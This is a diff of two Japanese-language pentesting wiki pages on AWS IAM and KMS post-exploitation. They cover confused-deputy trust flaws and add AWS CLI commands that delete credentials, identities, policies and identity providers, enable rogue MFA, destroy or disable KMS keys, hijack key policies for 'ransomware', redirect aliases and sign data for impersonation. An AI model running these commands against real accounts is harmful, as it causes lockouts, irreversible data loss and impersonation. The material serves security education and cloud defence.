diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index fc6e2acf5..88dd739ac 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -1,24 +1,24 @@ -# AWS - IAM ポストエクスプロイテーション +# AWS - IAM Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## IAM -IAM アクセスに関する詳細情報: +For more information about IAM access: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## 混乱した代理人問題 +## Confused Deputy 問題 -もしあなたが **外部アカウント (A)** にあなたのアカウントの **ロール** へのアクセスを許可すると、あなたは **その外部アカウントに正確にアクセスできる人が誰かについての可視性がゼロ** になるでしょう。これは問題です。なぜなら、別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。 +もしあなたが自分のアカウント内の**role**に外部アカウント(A)がアクセスできるようにすると、外部アカウントが具体的に誰にアクセスできるかについて**可視性はほぼゼロ**になります。これは問題です。なぜなら別の外部アカウント(B)が外部アカウント(A)にアクセスできる場合、**Bがあなたのアカウントにもアクセスできてしまう可能性がある**からです。 -したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId` を指定することが可能です。これは、外部アカウント (A) が **あなたの組織のロールを引き受けるために指定する必要がある** "秘密" の文字列です。**外部アカウント B はこの文字列を知らないため**、A にアクセスできても、**あなたのロールにアクセスすることはできません**。 +そのため、外部アカウントにあなたのアカウントのroleへのアクセスを許可する際に、`ExternalId`を指定できます。これは外部アカウント(A)があなたの組織のroleを**assume the role**するために**指定する必要がある**“シークレット”文字列です。外部アカウント(B)はこの文字列を知らないため、たとえBがAにアクセス権を持っていても、**あなたのroleにアクセスできなくなります**。
-ただし、この `ExternalId` の "秘密" は **秘密ではありません**。IAM のロール引き受けポリシーを **読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っていて、外部アカウント **B がそれを知らない限り、B が A を悪用してあなたのロールにアクセスすることを防ぎます**。 +ただし、この`ExternalId`“シークレット”は**真のシークレットではない**点に注意してください。IAMのassume role policyを**読むことができる者は誰でもそれを確認できる**からです。しかし、外部アカウント(A)がその文字列を知っており、外部アカウント(B)が知らない限り、**BがAを悪用してあなたのroleにアクセスすることを防げます**。 例: ```json @@ -39,11 +39,11 @@ IAM アクセスに関する詳細情報: } ``` > [!WARNING] -> 攻撃者が混乱した代理人を悪用するには、現在のアカウントのプリンシパルが他のアカウントのロールを偽装できるかどうかを何らかの方法で見つける必要があります。 +> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で特定する必要がある。 -### 予期しない信頼 +### 予期しない Trusts -#### プリンシパルとしてのワイルドカード +#### ワイルドカードを principal として ```json { "Action": "sts:AssumeRole", @@ -51,9 +51,9 @@ IAM アクセスに関する詳細情報: "Principal": { "AWS": "*" } } ``` -このポリシーは**すべてのAWS**がロールを引き受けることを許可します。 +このポリシーは **すべての AWS** がロールを引き受けることを許可します。 -#### サービスを主体として +#### サービスをプリンシパルとして ```json { "Action": "lambda:InvokeFunction", @@ -62,9 +62,9 @@ IAM アクセスに関する詳細情報: "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -このポリシーは**任意のアカウント**が自分のapigatewayを設定してこのLambdaを呼び出すことを許可します。 +このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出すことを許可します。 -#### S3をプリンシパルとして +#### S3 をプリンシパルとして ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ IAM アクセスに関する詳細情報: } } ``` -S3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、**バケットを削除し、攻撃者が自分のアカウントで作成した場合**、彼らはこれを悪用することができます。 +S3 バケットが principal として指定されている場合、S3 バケットにはアカウントIDがないため、あなたが **バケットを削除し攻撃者が自分のアカウントでそれを作成した** 場合、攻撃者はこれを悪用できます。 #### サポートされていません ```json @@ -84,9 +84,82 @@ S3バケットがプリンシパルとして指定されている場合、S3バ "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Confused Deputyの問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNを確認する条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**(いくつかの情報源によるとCloudTrailのように)。 +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). -## 参考文献 +### 認証情報の削除 +With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### アイデンティティの削除 +`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティやそれに関連する痕跡を消すことができます。これにより、これらのアイデンティティに依存する人やサービスのアクセスが即座に失われ、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視する必要があります。 +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つ主体は、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりし、これらのポリシーに依存していたプリンシパルが即座にアクセスを失うかサービス拒否に陥る可能性があるため、これらの IAM アクションは厳格に制限し監視する必要があります。 +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### フェデレーテッド・アイデンティティの削除 +`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML の ID プロバイダーを削除したりクライアントID を削除したりできます。これによりフェデレーテッド認証が機能しなくなり、トークンの検証が行えず、IdP または設定が復旧するまで SSO に依存するユーザーやサービスへのアクセスが直ちに拒否されます。 +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Illegitimate MFA Activation +`iam:EnableMFADevice` を使用すると、攻撃者はユーザーのアイデンティティにMFAデバイスを登録し、正当なユーザーのサインインを防止できます。 不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーがロックアウトされる可能性があります(注:複数のMFAデバイスが登録されている場合、サインインにはいずれか1つのデバイスのみが必要なため、この攻撃はアクセスの拒否には影響しません)。 +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### 証明書/キーのメタデータ改ざん +`iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate` を使用すると、攻撃者は公開鍵や証明書のステータスやメタデータを変更できます。キーや証明書を無効化したり参照を変更したりすることで、SSH認証を破壊したり、X.509/TLS検証を無効化したりして、それらの資格情報に依存するサービスを即座に中断させ、アクセスや可用性の喪失を引き起こす可能性があります。 +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## 参考資料 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index e20cc3373..e665a76b1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,26 +1,26 @@ -# AWS - KMS ポストエクスプロイテーション +# AWS - KMS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## KMS -詳細については、以下を確認してください: +For more information check: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### 情報の暗号化/復号化 +### 暗号化/復号化情報 -`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです: +`fileb://` と `file://` は、ローカルファイルへのパスを指定するために AWS CLI コマンドで使用される URI スキームです: -- `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。 -- `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。 +- `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルに一般的に使用されます。 +- `file://:` はファイルをテキストモードで読み込み、プレーンテキスト、スクリプト、または特別なエンコーディングを必要としない JSON に通常使用されます。 > [!TIP] -> ファイル内のデータを復号化したい場合、そのファイルにはバイナリデータが含まれている必要があります。base64 エンコードされたデータではありません。(fileb://) +> 注意: ファイル内のデータを復号したい場合、ファイルには base64 エンコードされたデータではなくバイナリデータが含まれている必要があります。(fileb://) -- **対称**キーを使用して +- **対称鍵** を使用する場合 ```bash # Encrypt data aws kms encrypt \ @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- **非対称**キーを使用する: +- **非対称**鍵を使用する: ```bash # Encrypt data aws kms encrypt \ @@ -58,16 +58,16 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -### KMS ランサムウェア +### KMS Ransomware -特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。 +KMS に対する特権的アクセスを持つ attacker は、キーの KMS policy を変更し、**自分のアカウントに対するアクセスを付与することで**、legit account に付与されていたアクセスを削除できます。 -その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。 +その結果、legit account のユーザーは、これらのキーで暗号化された任意のサービスの情報にアクセスできなくなり、アカウント上で簡単かつ効果的な ransomware を作り出します。 > [!WARNING] -> **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。 +> 注意: **AWS managed keys aren't affected**。影響を受けるのは **Customer managed keys** のみです。 -> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です)。 +> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点にも注意してください(web console にこのオプションがないため、この攻撃は CLI からのみ実行可能になります)。 ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、クロスアカウントからPut Policyアクションを実行できないため、できません**。 +> ポリシーを変更して外部アカウントのみにアクセスを与え、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、Put Polocy action cannot be performed from a cross account**ため、アクセスを戻すことはできない点に注意してください。
-### 一般的なKMSランサムウェア +### Generic KMS Ransomware -#### グローバルKMSランサムウェア +グローバルな KMS Ransomware を実行する別の方法として、以下の手順が考えられます: -グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます: +- 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する +- 被害者が以前のバージョンで暗号化した古いデータを新しいキーで **Re-encrypt older data** する +- **Delete the KMS key** +- そうすると、元の **key material** を持つ攻撃者だけが暗号化データを復号できるようになる -- 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する** -- **以前のバージョンで暗号化された古いデータを新しいもので再暗号化する** -- **KMSキーを削除する** -- これで、元のキー素材を持つ攻撃者のみが暗号化されたデータを復号化できるようになります +### Delete Keys via kms:DeleteImportedKeyMaterial -### キーを破壊する +`kms:DeleteImportedKeyMaterial` 権限があれば、アクターは `Origin=EXTERNAL` を持つ CMKs(キー素材をインポートしている CMKs)からインポートされた key material を削除でき、それらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り元に戻せません。そのため、攻撃者は暗号化された情報を恒久的にアクセス不能にし、ransomware-like なデータ損失を実質的に引き起こすことが可能です。 ```bash -# Destoy they key material previously imported making the key useless -aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab +aws kms delete-imported-key-material --key-id +``` +### Destroy keys +keys を破壊することで DoS を実行できる。 +```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] -> AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています:** +> 注意: AWS は現在 **これらの操作がクロスアカウントから実行されることを防いでいます:** +### Alias を変更または削除 +この攻撃は AWS KMS の aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの aliases に依存するサービスで即時の障害を引き起こし、結果として denial-of-service を招きます。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または再指向して暗号操作(例: encrypt, describe)を妨害できます。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マップされるまで失敗する可能性があります。 +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Cancel Key Deletion +`kms:CancelKeyDeletion` と `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key の予定された削除を取り消し、後で再度有効化できます。こうすることで鍵が回復(最初は Disabled state)し、以前に保護されていたデータを復号する能力が復元され、exfiltration を可能にします。 +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +`kms:DisableKey` 権限を持つアクターは、AWS KMS の customer master key を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが途絶し、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。 +```bash +aws kms disable-key \ +--key-id +``` +### 共有シークレットの導出 +`kms:DeriveSharedSecret` 権限があれば、主体は KMSで保持されている秘密鍵とユーザー提供の公開鍵を用いて ECDH の共有シークレットを計算できます。 +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +`kms:Sign` 権限があると、攻撃者は KMS に保存された CMK を使って秘密鍵を露出することなくデータに暗号学的な署名を行え、正当な署名を生成してなりすましや不正な操作の承認に利用することができます。 +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、`kms:UpdateCustomKeyStore` のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号、署名操作が停止し、即時のサービス拒否を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。 +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +```
{{#include ../../../banners/hacktricks-training.md}}